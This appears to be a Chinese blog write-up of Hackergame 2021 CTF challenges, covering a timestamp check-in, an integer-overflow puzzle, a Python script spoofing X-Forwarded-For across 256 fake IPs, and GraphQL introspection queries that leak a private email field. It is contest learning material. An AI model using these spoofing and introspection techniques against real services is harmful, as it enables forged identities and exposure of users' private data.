2021 Hackergame

2021 Hackergame

签到

image-20211025095125232

题目给了一本日记,然后说翻开到比赛进行期间的任何一页就能得到 flag,观察请求方法就能发现,题目用了GET方法传page参数,然后page的参数就是当前的时间戳,因此我们直接用python的time库生成当前的时间戳即可time.time()

image-20211025095608874

买瓜

这一题涉及到了整数溢出的知识,原理我也不是很懂,这里就说一下解题步骤。

image-202110250957443423

这里需要在6和9两个数里面加出20,但是正常情况下是无法实现的。

  • 第一步是先要确定这个数由多少个二进制数构成的,通常一个数是由4个字节或者8字节组成,一个字节有8位,因此我们可以大胆猜测32位和64位,具体怎么猜呢,这里以64位为例:
# 计算2的64次方是多大
>>> 2**64
18446744073709551616

# 然后再整除9,也就是包含了多少个9
>>> 2**64//9
2049638230412172401

然后去买2049638230412172401个9斤的瓜,可以看到返回的结果还是0斤,因此可以判断这个数是8字节组成的。

  • 然后就是根据位数去构造溢出
# 尝试让其再大一点,最少是到5倍最大值的时候能返回负数
>>> 2049638230412172401*5
10248191152060862005

买18446744073709551609斤的瓜,发现它溢出变成负数了-9223372036854775808(但又不至于变成浮点数)

# 接着想办法把负数变为正数
>>> 9223372036854775808//9
1024819115206086200

买1024819115206086200斤的瓜,发现剩下-8斤了,然后再买1个9斤的瓜就能够变成1斤。

  • 重复第二个步骤一次,那么就能够得到2斤,最后再买2个9斤的瓜就能够凑成20斤了。

FLAG 助力大红包

image-20211025102932085

该题是要让不同的用户去访问这个助力链接,先看他的判断不同用户的规则:

image-20211025103105413

通过截包发现用户每次点击助力链接的时候会POST一个ip参数,他会在后端判断该ip参数和用户本身的ip时候一致,一致才能助力成功;那么后端怎么获取用户本身的ip呢?一般情况下后端是通过HTTP中的 X-Forwarded-For 字段来判断用户的ip的,因此,我们在请求该链接的时候只需带上POST的ip一样的X-Forwarded-For即可,EXP:

import requests
import time


url = "http://202.38.93.111:10888/invite/32b9bd19-2c3f-4e72-a1f7-a949ef42746a"

for i in range(0,256):
    head = {'X-Forwarded-For':f'{i}.1.1.1'}
    data = {'ip':f'{i}.1.1.1'}
    r = requests.post(url=url,headers=head,data=data)
    if i%10==0:
        time.sleep(3)
    print(r.text)

这里需要连续请求10次要延时一下,否则会说请求速度太快。

图之上的信息

题目提示是GraphQL查询语言,flag位管理员的邮箱,本菜鸡根本没没听过GraphQL是什么东西,于是直接搜索其漏洞,找到该文章:GraphQL安全指北

回到题目,在以gusest身份登陆之后通过截包发现 GraphQL 的请求语句,再根据上述文章进行操作:

  • 首先通过__schema查询所有可用对象
"query":"{ __schema{ types { name }}}"
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"GNote"},{"name":"Int"},{"name":"String"},{"name":"GUser"},{"name":"Boolean"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

​ 可以看到其中有个叫GUser的对象

  • 然后通过__type查询指定对象的所有字段
{"query":" __type(name: \"GUser\"){name fields{name type{name}}} "}
{"data":{"__type":{"name":"GUser","fields":[{"name":"id","type":{"name":"Int"}},{"name":"username","type":{"name":"String"}},{"name":"privateEmail","type":{"name":"String"}}]}}}

​ 发现其中有privateEmail字段

  • 最后查询privateEmail的内容
{"query":"{ user(id:1) { privateEmail } }"}
{"data":{"user":{"privateEmail":"flag{dont_let_graphql_l3ak_data_d4d371e762@hackergame.ustc}"}}}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇